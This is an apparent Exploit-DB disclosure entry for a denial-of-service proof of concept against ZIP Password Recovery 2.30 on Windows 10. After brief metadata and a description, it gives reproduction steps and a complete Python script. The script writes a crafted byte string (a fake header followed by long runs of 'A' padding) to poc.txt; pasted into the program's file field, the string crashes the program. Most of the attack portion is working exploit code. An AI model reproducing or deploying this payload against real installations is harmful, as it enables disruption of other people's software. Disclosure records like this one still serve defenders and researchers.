ZIP Password Recovery 2.30 - 'ZIP File' Denial of Service (PoC)

vendor:

ZIP Password Recovery

by:

ZwX

5.5

CVSS

MEDIUM

Denial of Service

CWE

Product Name: ZIP Password Recovery

Affected Version From: 2.3

Affected Version To: 2.3

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2020

ZIP Password Recovery 2.30 – ‘ZIP File’ Denial of Service (PoC)

The vulnerability allows an attacker to cause a denial of service (DoS) condition by providing specially crafted input to the ZIP Password Recovery software. By creating a file with specific characters and pasting them into the 'Select Your ZIP File' field, the software crashes.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. It is recommended to avoid using the affected software or to use alternative software for ZIP file password recovery.

Source

Exploit-DB raw data:

# Exploit Title: ZIP Password Recovery 2.30 - 'ZIP File' Denial of Service (PoC)
# Exploit Author : ZwX
# Exploit Date: 2020-01-08
# Vendor Homepage : https://www.top-password.com/purchase.html
# Link Software : https://www.top-password.com/download/ZIPPRSetup.exe
# Tested on OS: Windows 10

Proof of Concept (PoC):
=======================

1.Download and install ZIP Password Recovery
2.Open the ZIP Password Recovery
3.Run the python operating script that will create a file (poc.txt)
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Select Your ZIP File ' and Click on the button 'Next'
6.ZIP Password Recovery Crashed

#!/usr/bin/python

DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

poc = DoS
file = open("poc.txt","w")
file.write(poc)
file.close()

print "POC Created by ZwX"